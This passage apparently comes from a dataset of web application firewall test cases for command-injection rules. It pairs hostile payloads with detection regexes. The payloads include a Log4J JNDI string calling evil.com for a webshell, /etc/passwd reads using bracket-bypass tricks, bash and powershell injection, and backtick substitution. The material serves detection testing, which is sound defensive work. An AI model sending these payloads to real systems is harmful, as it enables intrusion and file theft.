"(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:.*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:(?:a[\\\"\\^]*(?:c|s[\\\"\\^]*n[\\\"\\^]*p)|e[\\\"\\^]*(?:b[\\\"\\^]*p|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\"\\^]*s[\\\"\\^]*v|s[\\\"\\^]*n)|[tx][\\\"\\^]*s[\\\"\\^]*n)|f[\\\"\\^]*(?:[cltw]|o[\\\"\\^]*r[\\\"\\^]*e[\\\"\\^]*a[\\\"\\^]*c[\\\"\\^]*h)|i[\\\"\\^]*(?:[cr][\\\"\\^]*m|e[\\\"\\^]*x|h[\\\"\\^]*y|i|p[\\\"\\^]*(?:a[\\\"\\^]*l|c[\\\"\\^]*s[\\\"\\^]*v|m[\\\"\\^]*o|s[\\\"\\^]*n)|s[\\\"\\^]*e|w[\\\"\\^]*(?:m[\\\"\\^]*i|r))|m[\\\"\\^]*(?:[dpv]|o[\\\"\\^]*u[\\\"\\^]*n[\\\"\\^]*t)|o[\\\"\\^]*g[\\\"\\^]*v|p[\\\"\\^]*(?:o[\\\"\\^]*p|u[\\\"\\^]*s[\\\"\\^]*h)[\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^]*)?i|j[\\\"\\^]*b|n[\\\"\\^]*[ip])[\\\"\\^]*|d[\\\"\\^]*(?:r[\\\"\\^]*)?|m[\\\"\\^]*(?:(?:d[\\\"\\^]*i[\\\"\\^]*r|o)[\\\"\\^]*)?|s[\\\"\\^]*n[\\\"\\^]*(?:p[\\\"\\^]*)?|v[\\\"\\^]*(?:p[\\\"\\^]*a[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|c[\\\"\\^]*(?:j[\\\"\\^]*b[\\\"\\^]*[\\s\\x0b,\\./;<>].*|s[\\\"\\^]*n)|u[\\\"\\^]*j[\\\"\\^]*b)|s[\\\"\\^]*(?:(?:(?:a[\\\"\\^]*(?:j[\\\"\\^]*b|l|p[\\\"\\^]*s|s[\\\"\\^]*v)|b[\\\"\\^]*p|[cv]|w[\\\"\\^]*m[\\\"\\^]*i)[\\\"\\^]*|l[\\\"\\^]*(?:s[\\\"\\^]*)?|p[\\\"\\^]*(?:(?:j[\\\"\\^]*b|p[\\\"\\^]*s|s[\\\"\\^]*v)[\\\"\\^]*)?)[\\s\\x0b,\\./;<>].*|h[\\\"\\^]*c[\\\"\\^]*m|u[\\\"\\^]*j[\\\"\\^]*b))(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932125", "test_description": "Test for fp issue with ;si x" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932130-1=$(cmd)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932130-2=${cmd}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932130-5=Some text (in brackets)." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${:1337:-x$}{jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Log4J exploit picked up by shell exploit detection in body" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=0.84622338492032948`echo${IFS}crs312``echo${IFS}34test`" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=cat%20/etc/pa%5Bs%5Dswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - character set bypass technique" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=cat%20/%5B%3F%5Dtc/pa%5B%3F%5Dswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - character set bypass technique" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=hello%20%5Btext%20in%20brackets%5D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - character set bypass - negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "s=/etc/pas[s]wd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - bracket bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "s=/etc/%5Bp%5Dasswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - bracket bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "s=/etc/%5B!q%5Dasswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - bracket bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "s=/etc/%5Bm-z%5Dasswd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - bracket bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "s=/usr/bin/%5Bu%5Dname+-a" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - bracket bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "exec=/bi%5Bn%5D/bash" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Unix command injection - bracket bypass" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932130-17=$%5B2%2B2%5D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\$(?:\\((?:.*|\\(.*\\))\\)|\\{.*\\}|\\[.*\\])|[<>]\\(.*\\)|/[0-9A-Z_a-z]*\\[!?.+\\]", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932130", "test_description": "Bash - Arithmetic expansion ($[...])" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%25variable%20in%20%28set%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for %" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%25%25variable%20in%20%28set%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for %%" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2fd%20%25variable%20in%20%28set%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /d" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /r" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2fl%20%25variable%20in%20%281%2c1%2c2%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /l" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2ff%20%25variable%20in%20%28fileset%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /f .. fileset" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2ff%20%25variable%20in%20%28%22string%22%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /f .. \"string\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2ff%20%25variable%20in%20%28%27command%27%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /f .. 'command'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=for%20%2ff%20%22usebackq%22%20%25variable%20in%20%28%60command%60%29%20do%20command" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "for /f .. `command`" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%7Cfor+%2Ff+%22delims%3D%22+%25i+in+%28%27cmd+%2Fc+%22powershell.exe+-InputFormat+none+write+%27FJQPVY%27.length%22%27%29+do+if+%25i%3D%3D6+%28cmd+%2Fc+%22powershell.exe+-InputFormat+none+Start-Sleep+-s+2%22%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR++++++++++++++%25a+IN+%28set%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FD+++++++++++%25a+IN+%28dirs%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FD+%2FD++++++++%25a+IN+%28dirs%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=FOR+%2FF+%22options%22+%25a+IN+%28text%29+DO+abc" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ 